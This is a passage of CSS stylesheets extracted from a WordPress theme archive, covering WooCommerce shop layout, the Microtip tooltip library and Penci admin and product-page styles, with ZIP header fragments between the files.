.woocommerce-page ul.products.columns-3 li.product {
    width: 50%;
  }
}
.woocommerce ul.products.columns-5 li.product,
.woocommerce-page ul.products.columns-5 li.product {
  width: 20%;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products.columns-5 li.product,
.woocommerce-page ul.products.columns-5 li.product {
    width: 50%;
  }
}
.woocommerce ul.products.columns-6 li.product,
.woocommerce-page ul.products.columns-6 li.product {
  width: 16.6666666667%;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products.columns-6 li.product,
.woocommerce-page ul.products.columns-6 li.product {
    width: 50%;
  }
}
.woocommerce.columns-1 ul.products li.product,
.woocommerce-page.columns-1 ul.products li.product {
  width: 100%;
}
.woocommerce.columns-2 ul.products li.product,
.woocommerce-page.columns-2 ul.products li.product {
  width: 50%;
}
.woocommerce.columns-3 ul.products li.product,
.woocommerce-page.columns-3 ul.products li.product {
  width: 33.3333333333%;
}
.woocommerce.columns-5 ul.products li.product,
.woocommerce-page.columns-5 ul.products li.product {
  width: 20%;
}
.woocommerce.columns-6 ul.products li.product,
.woocommerce-page.columns-6 ul.products li.product {
  width: 16.6666666667%;
}
.woocommerce .woocommerce-result-count,
.woocommerce-page .woocommerce-result-count {
  float: left;
}
.woocommerce .woocommerce-ordering,
.woocommerce-page .woocommerce-ordering {
  float: right;
}
.woocommerce .woocommerce-pagination ul.page-numbers,
.woocommerce-page .woocommerce-pagination ul.page-numbers {
  *zoom: 1;
}
.woocommerce .woocommerce-pagination ul.page-numbers::before, .woocommerce .woocommerce-pagination ul.page-numbers::after,
.woocommerce-page .woocommerce-pagination ul.page-numbers::before,
.woocommerce-page .woocommerce-pagination ul.page-numbers::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-pagination ul.page-numbers::after,
.woocommerce-page .woocommerce-pagination ul.page-numbers::after {
  clear: both;
}
.woocommerce .woocommerce-pagination ul.page-numbers li,
.woocommerce-page .woocommerce-pagination ul.page-numbers li {
  display: inline-block;
}
.woocommerce table.cart img,
.woocommerce #content table.cart img,
.woocommerce-page table.cart img,
.woocommerce-page #content table.cart img {
  height: auto;
}
.woocommerce table.cart td.actions,
.woocommerce #content table.cart td.actions,
.woocommerce-page table.cart td.actions,
.woocommerce-page #content table.cart td.actions {
  text-align: right;
}
.woocommerce table.cart td.actions .input-text,
.woocommerce #content table.cart td.actions .input-text,
.woocommerce-page table.cart td.actions .input-text,
.woocommerce-page #content table.cart td.actions .input-text {
  width: 80px;
}
.woocommerce table.cart td.actions .coupon,
.woocommerce #content table.cart td.actions .coupon,
.woocommerce-page table.cart td.actions .coupon,
.woocommerce-page #content table.cart td.actions .coupon {
  float: left;
}

@media only screen and (max-width: 767px) {
	.woocommerce table.cart td.actions .coupon,
	.woocommerce #content table.cart td.actions .coupon,
	.woocommerce-page table.cart td.actions .coupon,
	.woocommerce-page #content table.cart td.actions .coupon {
	  float: none;
	}
}

.woocommerce table.cart td.actions .coupon label,
.woocommerce #content table.cart td.actions .coupon label,
.woocommerce-page table.cart td.actions .coupon label,
.woocommerce-page #content table.cart td.actions .coupon label {
  display: none;
}
.woocommerce .cart-collaterals,
.woocommerce-page .cart-collaterals {
  *zoom: 1;
  width: 100%;
}
.woocommerce .cart-collaterals::before, .woocommerce .cart-collaterals::after,
.woocommerce-page .cart-collaterals::before,
.woocommerce-page .cart-collaterals::after {
  content: " ";
  display: table;
}
.woocommerce .cart-collaterals::after,
.woocommerce-page .cart-collaterals::after {
  clear: both;
}
.woocommerce .cart-collaterals .related,
.woocommerce-page .cart-collaterals .related {
  width: 30.75%;
  float: left;
}
.woocommerce .cart-collaterals .cross-sells,
.woocommerce-page .cart-collaterals .cross-sells {
  width: 48%;
  float: left;
}
.woocommerce .cart-collaterals .cross-sells ul.products,
.woocommerce-page .cart-collaterals .cross-sells ul.products {
  float: none;
}
.woocommerce .cart-collaterals .cross-sells ul.products li,
.woocommerce-page .cart-collaterals .cross-sells ul.products li {
  width: 48%;
}
.woocommerce .cart-collaterals .shipping_calculator,
.woocommerce-page .cart-collaterals .shipping_calculator {
  width: 48%;
  *zoom: 1;
  clear: right;
  float: right;
}
.woocommerce .cart-collaterals .shipping_calculator::before, .woocommerce .cart-collaterals .shipping_calculator::after,
.woocommerce-page .cart-collaterals .shipping_calculator::before,
.woocommerce-page .cart-collaterals .shipping_calculator::after {
  content: " ";
  display: table;
}
.woocommerce .cart-collaterals .shipping_calculator::after,
.woocommerce-page .cart-collaterals .shipping_calculator::after {
  clear: both;
}
.woocommerce .cart-collaterals .shipping_calculator .col2-set .col-1,
.woocommerce .cart-collaterals .shipping_calculator .col2-set .col-2,
.woocommerce-page .cart-collaterals .shipping_calculator .col2-set .col-1,
.woocommerce-page .cart-collaterals .shipping_calculator .col2-set .col-2 {
  width: 47%;
}
.woocommerce .cart-collaterals .cart_totals,
.woocommerce-page .cart-collaterals .cart_totals {
  float: right;
  width: 48%;
}
.woocommerce ul.cart_list li,
.woocommerce ul.product_list_widget li,
.woocommerce-page ul.cart_list li,
.woocommerce-page ul.product_list_widget li {
  *zoom: 1;
}
.woocommerce ul.cart_list li::before, .woocommerce ul.cart_list li::after,
.woocommerce ul.product_list_widget li::before,
.woocommerce ul.product_list_widget li::after,
.woocommerce-page ul.cart_list li::before,
.woocommerce-page ul.cart_list li::after,
.woocommerce-page ul.product_list_widget li::before,
.woocommerce-page ul.product_list_widget li::after {
  content: " ";
  display: table;
}
.woocommerce ul.cart_list li::after,
.woocommerce ul.product_list_widget li::after,
.woocommerce-page ul.cart_list li::after,
.woocommerce-page ul.product_list_widget li::after {
  clear: both;
}
.woocommerce ul.cart_list li img,
.woocommerce ul.product_list_widget li img,
.woocommerce-page ul.cart_list li img,
.woocommerce-page ul.product_list_widget li img {
  float: right;
  height: auto;
}
.woocommerce form .form-row,
.woocommerce-page form .form-row {
  *zoom: 1;
}
.woocommerce form .form-row::before, .woocommerce form .form-row::after,
.woocommerce-page form .form-row::before,
.woocommerce-page form .form-row::after {
  content: " ";
  display: table;
}
.woocommerce form .form-row::after,
.woocommerce-page form .form-row::after {
  clear: both;
}
.woocommerce form .form-row label,
.woocommerce-page form .form-row label {
  display: block;
}
.woocommerce form .form-row label.checkbox,
.woocommerce-page form .form-row label.checkbox {
  display: inline;
}
.woocommerce form .form-row select,
.woocommerce-page form .form-row select {
  width: 100%;
}
.woocommerce form .form-row .input-text,
.woocommerce-page form .form-row .input-text {
  box-sizing: border-box;
  width: 100%;
}
.woocommerce form .form-row-first,
.woocommerce form .form-row-last,
.woocommerce-page form .form-row-first,
.woocommerce-page form .form-row-last {
  width: 47%;
  overflow: visible;
}
.woocommerce form .form-row-first,
.woocommerce-page form .form-row-first {
  float: left;
  /*rtl:raw:
  float: right;
  */
}
.woocommerce form .form-row-last,
.woocommerce-page form .form-row-last {
  float: right;
}
.woocommerce form .form-row-wide,
.woocommerce-page form .form-row-wide {
  clear: both;
}
.woocommerce form .password-input,
.woocommerce-page form .password-input {
  display: flex;
  flex-direction: column;
  justify-content: center;
  position: relative;
  /* Hide the Edge "reveal password" native button */
}
.woocommerce form .password-input input[type=password],
.woocommerce-page form .password-input input[type=password] {
  padding-right: 2.5rem;
}
.woocommerce form .password-input input::-ms-reveal,
.woocommerce-page form .password-input input::-ms-reveal {
  display: none;
}
.woocommerce form .show-password-input,
.woocommerce-page form .show-password-input {
  position: absolute;
  right: 0.7em;
  top: 0.7em;
  cursor: pointer;
}
.woocommerce form .show-password-input::after,
.woocommerce-page form .show-password-input::after {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-left: 0.618em;
  content: "";
  text-decoration: none;
}
.woocommerce form .show-password-input.display-password::after,
.woocommerce-page form .show-password-input.display-password::after {
  color: #585858;
}
.woocommerce #payment .form-row select,
.woocommerce-page #payment .form-row select {
  width: auto;
}
.woocommerce #payment .wc-terms-and-conditions,
.woocommerce #payment .terms,
.woocommerce-page #payment .wc-terms-and-conditions,
.woocommerce-page #payment .terms {
  text-align: left;
  padding: 0 1em 0 0;
  float: left;
}
.woocommerce #payment #place_order,
.woocommerce-page #payment #place_order {
  float: right;
}
.woocommerce .woocommerce-billing-fields,
.woocommerce .woocommerce-shipping-fields,
.woocommerce-page .woocommerce-billing-fields,
.woocommerce-page .woocommerce-shipping-fields {
  *zoom: 1;
}
.woocommerce .woocommerce-billing-fields::before, .woocommerce .woocommerce-billing-fields::after,
.woocommerce .woocommerce-shipping-fields::before,
.woocommerce .woocommerce-shipping-fields::after,
.woocommerce-page .woocommerce-billing-fields::before,
.woocommerce-page .woocommerce-billing-fields::after,
.woocommerce-page .woocommerce-shipping-fields::before,
.woocommerce-page .woocommerce-shipping-fields::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-billing-fields::after,
.woocommerce .woocommerce-shipping-fields::after,
.woocommerce-page .woocommerce-billing-fields::after,
.woocommerce-page .woocommerce-shipping-fields::after {
  clear: both;
}
.woocommerce .woocommerce-terms-and-conditions,
.woocommerce-page .woocommerce-terms-and-conditions {
  margin-bottom: 1.618em;
  padding: 1.618em;
}
.woocommerce .woocommerce-oembed,
.woocommerce-page .woocommerce-oembed {
  position: relative;
}

.woocommerce-account .woocommerce-MyAccount-navigation {
  float: left;
  width: 30%;
}
.woocommerce-account .woocommerce-MyAccount-content {
  float: right;
  width: 68%;
}

/**
 * RTL styles.
 */
.rtl .woocommerce .col2-set .col-1,
.rtl .woocommerce-page .col2-set .col-1 {
  float: right;
}
.rtl .woocommerce .col2-set .col-2,
.rtl .woocommerce-page .col2-set .col-2 {
  float: left;
}

@media only screen and (max-width: 768px){
	.woocommerce .col2-set .col-1, 
	.woocommerce .col2-set .col-2, 
	.woocommerce-page .col2-set .col-1, 
	.woocommerce-page .col2-set .col-2,
	.woocommerce-account .woocommerce-MyAccount-content {
		float: none;
		width: 100%;
	}
}
PK     N\8:"  "     inc/woocommerce/css/tooltips.cssnu [        /* -------------------------------------------------------------------
  Microtip

  Modern, lightweight css-only tooltips
  Just 1kb minified and gzipped

  @author Ghosh
  @package Microtip

----------------------------------------------------------------------
  1. Base Styles
  2. Direction Modifiers
  3. Position Modifiers
--------------------------------------------------------------------*/


/* ------------------------------------------------
  [1] Base Styles
-------------------------------------------------*/

[aria-label][role~="tooltip"] {
    position: relative;
}

[aria-label][role~="tooltip"]::before,
[aria-label][role~="tooltip"]::after {
    transform: translate3d(0, 0, 0);
    -webkit-backface-visibility: hidden;
    backface-visibility: hidden;
    will-change: transform;
    opacity: 0;
    pointer-events: none;
    transition: all var(--microtip-transition-duration, .18s) var(--microtip-transition-easing, ease-in-out) var(--microtip-transition-delay, 0s);
    position: absolute;
    box-sizing: border-box;
    z-index: 10;
    transform-origin: top;
}

[aria-label][role~="tooltip"]::before {
    background-size: 100% auto !important;
    content: "";
}

[aria-label][role~="tooltip"]::after {
    background: rgba(17, 17, 17, .9);
    border-radius: 4px;
    color: #ffffff;
    content: attr(aria-label);
    font-size: var(--microtip-font-size, 13px);
    font-weight: var(--microtip-font-weight, normal);
    text-transform: var(--microtip-text-transform, none);
    padding: .5em 1em;
    white-space: nowrap;
    box-sizing: content-box;
}

[aria-label][role~="tooltip"]:hover::before,
[aria-label][role~="tooltip"]:hover::after,
[aria-label][role~="tooltip"]:focus::before,
[aria-label][role~="tooltip"]:focus::after {
    opacity: 1;
    pointer-events: auto;
}


/* ------------------------------------------------
  [2] Position Modifiers
-------------------------------------------------*/

[role~="tooltip"][data-microtip-position|="top"]::before {
    background: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20width%3D%2236px%22%20height%3D%2212px%22%3E%3Cpath%20fill%3D%22rgba%2817,%2017,%2017,%200.9%29%22%20transform%3D%22rotate%280%29%22%20d%3D%22M2.658,0.000%20C-13.615,0.000%2050.938,0.000%2034.662,0.000%20C28.662,0.000%2023.035,12.002%2018.660,12.002%20C14.285,12.002%208.594,0.000%202.658,0.000%20Z%22/%3E%3C/svg%3E") no-repeat;
    height: 6px;
    width: 18px;
    margin-bottom: 5px;
}

[role~="tooltip"][data-microtip-position|="top"]::after {
    margin-bottom: 11px;
}

[role~="tooltip"][data-microtip-position|="top"]::before {
    transform: translate3d(-50%, 0, 0);
    bottom: 100%;
    left: 50%;
}

[role~="tooltip"][data-microtip-position|="top"]:hover::before {
    transform: translate3d(-50%, -5px, 0);
}

[role~="tooltip"][data-microtip-position|="top"]::after {
    transform: translate3d(-50%, 0, 0);
    bottom: 100%;
    left: 50%;
}

[role~="tooltip"][data-microtip-position="top"]:hover::after {
    transform: translate3d(-50%, -5px, 0);
}

/* ------------------------------------------------
  [2.1] Top Left
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="top-left"]::after {
    transform: translate3d(calc(-100% + 16px), 0, 0);
    bottom: 100%;
}

[role~="tooltip"][data-microtip-position="top-left"]:hover::after {
    transform: translate3d(calc(-100% + 16px), -5px, 0);
}


/* ------------------------------------------------
  [2.2] Top Right
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="top-right"]::after {
    transform: translate3d(calc(0% + -16px), 0, 0);
    bottom: 100%;
}

[role~="tooltip"][data-microtip-position="top-right"]:hover::after {
    transform: translate3d(calc(0% + -16px), -5px, 0);
}


/* ------------------------------------------------
  [2.3] Bottom
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position|="bottom"]::before {
    background: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20width%3D%2236px%22%20height%3D%2212px%22%3E%3Cpath%20fill%3D%22rgba%2817,%2017,%2017,%200.9%29%22%20transform%3D%22rotate%28180%2018%206%29%22%20d%3D%22M2.658,0.000%20C-13.615,0.000%2050.938,0.000%2034.662,0.000%20C28.662,0.000%2023.035,12.002%2018.660,12.002%20C14.285,12.002%208.594,0.000%202.658,0.000%20Z%22/%3E%3C/svg%3E") no-repeat;
    height: 6px;
    width: 18px;
    margin-top: 5px;
    margin-bottom: 0;
}

[role~="tooltip"][data-microtip-position|="bottom"]::after {
    margin-top: 11px;
}

[role~="tooltip"][data-microtip-position|="bottom"]::before {
    transform: translate3d(-50%, -10px, 0);
    bottom: auto;
    left: 50%;
    top: 100%;
}

[role~="tooltip"][data-microtip-position|="bottom"]:hover::before {
    transform: translate3d(-50%, 0, 0);
}

[role~="tooltip"][data-microtip-position|="bottom"]::after {
    transform: translate3d(-50%, -10px, 0);
    top: 100%;
    left: 50%;
}

[role~="tooltip"][data-microtip-position="bottom"]:hover::after {
    transform: translate3d(-50%, 0, 0);
}


/* ------------------------------------------------
  [2.4] Bottom Left
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="bottom-left"]::after {
    transform: translate3d(calc(-100% + 16px), -10px, 0);
    top: 100%;
}

[role~="tooltip"][data-microtip-position="bottom-left"]:hover::after {
    transform: translate3d(calc(-100% + 16px), 0, 0);
}


/* ------------------------------------------------
  [2.5] Bottom Right
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="bottom-right"]::after {
    transform: translate3d(calc(0% + -16px), -10px, 0);
    top: 100%;
}

[role~="tooltip"][data-microtip-position="bottom-right"]:hover::after {
    transform: translate3d(calc(0% + -16px), 0, 0);
}


/* ------------------------------------------------
  [2.6] Left
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="left"]::before,
[role~="tooltip"][data-microtip-position="left"]::after {
    bottom: auto;
    left: auto;
    right: 100%;
    top: 50%;
    transform: translate3d(10px, -50%, 0);
}

[role~="tooltip"][data-microtip-position="left"]::before {
    background: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20width%3D%2212px%22%20height%3D%2236px%22%3E%3Cpath%20fill%3D%22rgba%2817,%2017,%2017,%200.9%29%22%20transform%3D%22rotate%28-90%2018%2018%29%22%20d%3D%22M2.658,0.000%20C-13.615,0.000%2050.938,0.000%2034.662,0.000%20C28.662,0.000%2023.035,12.002%2018.660,12.002%20C14.285,12.002%208.594,0.000%202.658,0.000%20Z%22/%3E%3C/svg%3E") no-repeat;
    height: 18px;
    width: 6px;
    margin-right: 5px;
    margin-bottom: 0;
}

[role~="tooltip"][data-microtip-position="left"]::after {
    margin-right: 11px;
}

[role~="tooltip"][data-microtip-position="left"]:hover::before,
[role~="tooltip"][data-microtip-position="left"]:hover::after {
    transform: translate3d(0, -50%, 0);
}


/* ------------------------------------------------
  [2.7] Right
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="right"]::before,
[role~="tooltip"][data-microtip-position="right"]::after {
    bottom: auto;
    left: 100%;
    top: 50%;
    transform: translate3d(-10px, -50%, 0);
}

[role~="tooltip"][data-microtip-position="right"]::before {
    background: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20width%3D%2212px%22%20height%3D%2236px%22%3E%3Cpath%20fill%3D%22rgba%2817,%2017,%2017,%200.9%29%22%20transform%3D%22rotate%2890%206%206%29%22%20d%3D%22M2.658,0.000%20C-13.615,0.000%2050.938,0.000%2034.662,0.000%20C28.662,0.000%2023.035,12.002%2018.660,12.002%20C14.285,12.002%208.594,0.000%202.658,0.000%20Z%22/%3E%3C/svg%3E") no-repeat;
    height: 18px;
    width: 6px;
    margin-bottom: 0;
    margin-left: 5px;
}

[role~="tooltip"][data-microtip-position="right"]::after {
    margin-left: 11px;
}

[role~="tooltip"][data-microtip-position="right"]:hover::before,
[role~="tooltip"][data-microtip-position="right"]:hover::after {
    transform: translate3d(0, -50%, 0);
}

/* ------------------------------------------------
  [3] Size
-------------------------------------------------*/
[role~="tooltip"][data-microtip-size="small"]::after {
    white-space: initial;
    width: 80px;
}

[role~="tooltip"][data-microtip-size="medium"]::after {
    white-space: initial;
    width: 150px;
}

[role~="tooltip"][data-microtip-size="large"]::after {
    white-space: initial;
    width: 260px;
}
PK     N\    #  inc/woocommerce/css/penci-admin.cssnu [        .swatch-preview {
    width: 44px;
    height: 44px;
    line-height: 44px;
    text-align: center;
    font-weight: 700;
    border: 1px solid #ccc;
}

.penci-modal-container {
    position: relative;
    display: none;
}

.penci-modal {
    transform: translate(-50%, -50%);
    position: fixed;
    top: 50%;
    left: 50%;
    width: 360px;
    max-width: 90%;
    z-index: 159990;
    background-color: #fcfcfc;
}

.penci-modal input.error {
    border-color: #dc3232;
}

.penci-modal-header,
.penci-modal-content,
.penci-modal-footer {
    padding: 20px;
}

.penci-modal-header {
    padding-top: 0;
    padding-bottom: 0;
}

.penci-modal-content {
    border-top: 1px solid #ddd;
    border-bottom: 1px solid #ddd;
    background-color: #fff;
}

.penci-modal-footer {
    text-align: right;
}

.penci-modal-footer .message,
.penci-modal-footer .spinner {
    float: left;
}

.penci-modal-footer .message.error {
    color: #dc3232;
}

.penci-modal-footer .message.success {
    color: #46b450;
}
PK     N\w{c c (  inc/woocommerce/css/penci-woocomerce.cssnu [        /* old-css inherit */
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-author,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-email {
	padding: 0 14px;
}
.woocommerce #review_form #respond p {
	margin: 0 14px 10px 14px;
}
.woocommerce #review_form #respond p.stars {
	margin-left: 0;
	margin-right: 0;
}
/* = Woocommerce
----------------------------------------------------*/
.woocommerce .page-title {
	margin: 0 0 30px 0;
	padding-bottom: 0;
	text-align: left;
	position: relative;
	font-size: 24px;
	color: #313131;
	text-transform: uppercase;
}
.woocommerce .page-description {
	margin: -10px 0 22px;
}
.woocommerce .woocommerce-ordering,
.woocommerce .woocommerce-result-count {
	margin: 0 0 30px;
	color: #888;
}
.woocommerce .woocommerce-ordering select {
	padding: 5px;
	outline: none;
}
.woocommerce span.onsale {
	min-width: 50px;
	min-height: 25px;
	height: 25px;
	line-height: 26px;
	left: 10px;
	top: 10px;
	background: var(--pcaccent-cl);
	text-align: center;
	padding: 0 10px;
	font-weight: var(--pchead-wei);
	font-size: 12px;
	text-transform: uppercase;
	color: #fff;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
	font-family: var(--pchead-font);
	white-space: nowrap;
}
.woocommerce ul.products li.product .onsale {
	margin: 0;
	left: auto;
	right: 10px;
	top: 10px;
}
.woocommerce .products .star-rating {
	margin: 0;
	position: absolute;
	top: 16px;
	left: 10px;
	z-index: 5;
}
.woocommerce .star-rating span {
	color: #FFCA00;
}
.woocommerce.penci-image-hotspot .hotspot-product .star-rating {
	float: none;
	margin: 0 auto 8px;
}
.woocommerce #respond input#submit,
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button {
	text-transform: uppercase;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	background: #F5F5F5;
	border-radius: 0;
	font-size: 12px;
	color: #313131;
	-o-transition: .3s;
	-moz-transition: .3s;
	-webkit-transition: .3s;
	transition: .3s;
	cursor: pointer;
	text-align: center;
	margin: 0;
	padding: 10px 15px 9px;
	border: none;
	outline: none;
	min-width: 90px;
}
.woocommerce a.added_to_cart {
	display: none !important;
}
.woocommerce #respond input#submit.loading:after,
.woocommerce a.button.loading:after,
.woocommerce button.button.loading:after,
.woocommerce input.button.loading:after {
	top: auto;
	right: auto;
	margin-left: 5px;
}
.woocommerce #respond input#submit:hover,
.woocommerce a.button:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover {
	background: var(--pcaccent-cl);
	color: #fff;
}
.woocommerce-pagination {
	margin-bottom: 60px;
	overflow: hidden;
	clear: both;
	text-align: center;
}
.woocommerce nav.woocommerce-pagination ul {
	list-style: none;
	display: inline-block;
	vertical-align: top;
	border: none;
	white-space: normal;
	margin: 0;
}
.woocommerce nav.woocommerce-pagination ul li,
.woocommerce .woocommerce-pagination ul.page-numbers li,
.woocommerce-page .woocommerce-pagination ul.page-numbers li {
	display: inline-block;
	float: left;
	margin-right: 10px;
	border: none;
}
.woocommerce nav.woocommerce-pagination ul > li:last-child,
.woocommerce .woocommerce-pagination ul.page-numbers li:last-child,
.woocommerce-page .woocommerce-pagination ul.page-numbers li:last-child {
	margin-right: 0;
}
.woocommerce nav.woocommerce-pagination ul li a,
.woocommerce nav.woocommerce-pagination ul li span {
	padding: 0;
	width: 30px;
	height: 30px;
	text-align: center;
	line-height: 28px;
	font-size: 14px;
	display: inline-block;
	border: 1px solid var(--pcborder-cl);
	color: #888;
	margin: 0;
	text-decoration: none;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
}
.woocommerce nav.woocommerce-pagination ul li a:focus,
.woocommerce nav.woocommerce-pagination ul li a:hover {
	text-decoration: none;
	color: #313131;
	border-color: #999999;
	background: none;
}
.woocommerce nav.woocommerce-pagination ul li span.current {
	color: #fff;
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
	text-decoration: none;
}
.woocommerce #content div.product div.images,
.woocommerce div.product div.images,
.woocommerce-page #content div.product div.images,
.woocommerce-page div.product div.images,
.woocommerce #content div.product div.summary,
.woocommerce div.product div.summary,
.woocommerce-page #content div.product div.summary,
.woocommerce-page div.product div.summary {
	width: 48.7197%;
}
.woocommerce div.product div.images, .woocommerce div.product div.summary {
	margin-bottom: 40px;
}
.woocommerce .penci_sidebar #content div.product div.images,
.woocommerce .penci_sidebar div.product div.images,
.woocommerce-page .penci_sidebar #content div.product div.images,
.woocommerce-page .penci_sidebar div.product div.images,
.woocommerce .penci_sidebar #content div.product div.summary,
.woocommerce .penci_sidebar div.product div.summary,
.woocommerce-page .penci_sidebar #content div.product div.summary,
.woocommerce-page .penci_sidebar div.product div.summary {
	width: 48.078%;
}
.woocommerce div.product div.images div.thumbnails,
.woocommerce div.product div.images .flex-control-thumbs {
	padding-top: 30px;
}
.woocommerce #content div.product div.thumbnails a,
.woocommerce div.product div.thumbnails a,
.woocommerce-page #content div.product div.thumbnails a,
.woocommerce-page div.product div.thumbnails a,
.woocommerce #content div.product div.thumbnails a.last,
.woocommerce div.product div.thumbnails a.last,
.woocommerce-page #content div.product div.thumbnails a.last,
.woocommerce-page div.product div.thumbnails a.last,
.woocommerce div.product div.images .flex-control-thumbs li {
	width: 21.0625%;
	margin-right: 5.25%;
	margin-bottom: 5.25%;
}
.woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image {
	width: 21.0625%;
}
.woocommerce #content div.product div.thumbnails a.first,
.woocommerce div.product div.thumbnails a.first,
.woocommerce-page #content div.product div.thumbnails a.first,
.woocommerce-page div.product div.thumbnails a.first {
	clear: none;
}
.woocommerce #content div.product div.thumbnails a:nth-child(4n+4),
.woocommerce div.product div.thumbnails a:nth-child(4n+4),
.woocommerce-page #content div.product div.thumbnails a:nth-child(4n+4),
.woocommerce-page div.product div.thumbnails a:nth-child(4n+4),
.woocommerce div.product div.images .flex-control-thumbs li:nth-child(4n+4),
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image:nth-child(4n+5) {
	margin-right: 0;
}
.woocommerce #content div.product div.thumbnails a:nth-child(4n+1),
.woocommerce div.product div.thumbnails a:nth-child(4n+1),
.woocommerce-page #content div.product div.thumbnails a:nth-child(4n+1),
.woocommerce-page div.product div.thumbnails a:nth-child(4n+1),
.woocommerce div.product div.images .flex-control-thumbs li:nth-child(4n+1) {
	clear: both;
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image:first-child {
	width: 100%;
	margin-right: 0;
	margin-bottom: 30px;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:before {
	width: 7px;
	height: 7px;
	top: 11px;
	left: 11px;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:after {
	top: 18px;
	left: 22px;
}
.woocommerce div.product .product_title {
	font-size: 30px;
	color: var(--pcheading-cl);
	line-height: 1.2;
	margin-top: -4px;
	margin-bottom: 6px;
}
a.woocommerce-review-link {
	font-size: 14px;
	color: #888;
}
.woocommerce div.product .woocommerce-product-rating {
	margin-bottom: 8px;
}
.woocommerce div.product p.price {
	margin-bottom: 12px;
}
.woocommerce div.product p.price ins,
.woocommerce div.product span.price ins,
.woocommerce div.product p.price,
.woocommerce div.product span.price {
	text-decoration: none;
	color: var(--pcaccent-cl);
}
.woocommerce div.product p.price del,
.woocommerce div.product span.price del {
	display: inline-block;
	margin-right: 10px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] {
	position: relative;
	padding-top: 12px;
	margin-bottom: 24px;
}
.woocommerce div.product .entry-summary div[itemprop="description"]:before {
	content: "";
	width: 45px;
	height: 1px;
	position: absolute;
	top: 0;
	left: 0;
	background: var(--pcaccent-cl);
}
.woocommerce div.product .woocommerce-tabs #tab-description #tab-description {
	display: block !important;
}
.woocommerce div.product div[itemprop="description"] .entry-summary p:last-child,
.woocommerce div.product .woocommerce-tabs #tab-description > p:last-child {
	margin-bottom: 0;
}
.woocommerce div.product div[itemprop="description"] .entry-summary img,
.woocommerce div.product .woocommerce-tabs #tab-description img {
	max-width: 100%;
	height: auto;
}
.woocommerce div.product div[itemprop="description"] a:hover,
.woocommerce div.product .woocommerce-tabs #tab-description a:hover {
	text-decoration: underline;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h1,
.woocommerce div.product .entry-summary div[itemprop="description"] h2,
.woocommerce div.product .entry-summary div[itemprop="description"] h3,
.woocommerce div.product .entry-summary div[itemprop="description"] h4,
.woocommerce div.product .entry-summary div[itemprop="description"] h5,
.woocommerce div.product .entry-summary div[itemprop="description"] h6,
.woocommerce div.product .entry-summary div[itemprop="description"] hr,
.woocommerce div.product .woocommerce-tabs #tab-description h1,
.woocommerce div.product .woocommerce-tabs #tab-description h2,
.woocommerce div.product .woocommerce-tabs #tab-description h3,
.woocommerce div.product .woocommerce-tabs #tab-description h4,
.woocommerce div.product .woocommerce-tabs #tab-description h5,
.woocommerce div.product .woocommerce-tabs #tab-description h6,
.woocommerce div.product .woocommerce-tabs #tab-description hr,
.woocommerce-product-details__short-description h1,
.woocommerce-product-details__short-description h2,
.woocommerce-product-details__short-description h3,
.woocommerce-product-details__short-description h4,
.woocommerce-product-details__short-description h5,
.woocommerce-product-details__short-description h6,
.woocommerce-product-details__short-description hr {
	margin-bottom: 17px;
}
.woocommerce div.product div[itemprop="description"] p,
.woocommerce div.product .woocommerce-tabs #tab-description p,
.woocommerce-product-details__short-description p {
	margin-bottom: 17px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h1,
.woocommerce div.product .entry-summary div[itemprop="description"] h2,
.woocommerce div.product .entry-summary div[itemprop="description"] h3,
.woocommerce div.product .entry-summary div[itemprop="description"] h4,
.woocommerce div.product .entry-summary div[itemprop="description"] h5,
.woocommerce div.product .entry-summary div[itemprop="description"] h6,
.woocommerce div.product .woocommerce-tabs #tab-description h1,
.woocommerce div.product .woocommerce-tabs #tab-description h2,
.woocommerce div.product .woocommerce-tabs #tab-description h3,
.woocommerce div.product .woocommerce-tabs #tab-description h4,
.woocommerce div.product .woocommerce-tabs #tab-description h5,
.woocommerce div.product .woocommerce-tabs #tab-description h6,
.woocommerce-product-details__short-description h1,
.woocommerce-product-details__short-description h2,
.woocommerce-product-details__short-description h3,
.woocommerce-product-details__short-description h4,
.woocommerce-product-details__short-description h5,
.woocommerce-product-details__short-description h6 {
	color: #313131;
	clear: both;
	letter-spacing: 0;
	line-height: 1.3em;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h1,
.woocommerce div.product .woocommerce-tabs #tab-description h1,
.woocommerce-product-details__short-description h1 {
	font-size: 20px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h2,
.woocommerce div.product .woocommerce-tabs #tab-description h2,
